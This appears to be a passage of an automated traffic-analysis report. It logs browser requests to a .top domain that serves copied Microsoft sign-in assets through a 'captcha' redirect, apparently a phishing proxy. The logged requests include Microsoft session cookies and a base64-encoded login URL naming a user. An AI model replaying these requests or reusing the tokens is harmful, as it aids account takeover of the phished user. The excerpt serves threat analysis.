Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/oneDs_641b1cf809bdc17b42ab.js HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA
Source: global traffic	HTTP traffic detected: GET /owa/prefetch.aspx HTTP/1.1Host: outlook.office365.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_f7b06b70c72b4590b779.js HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; 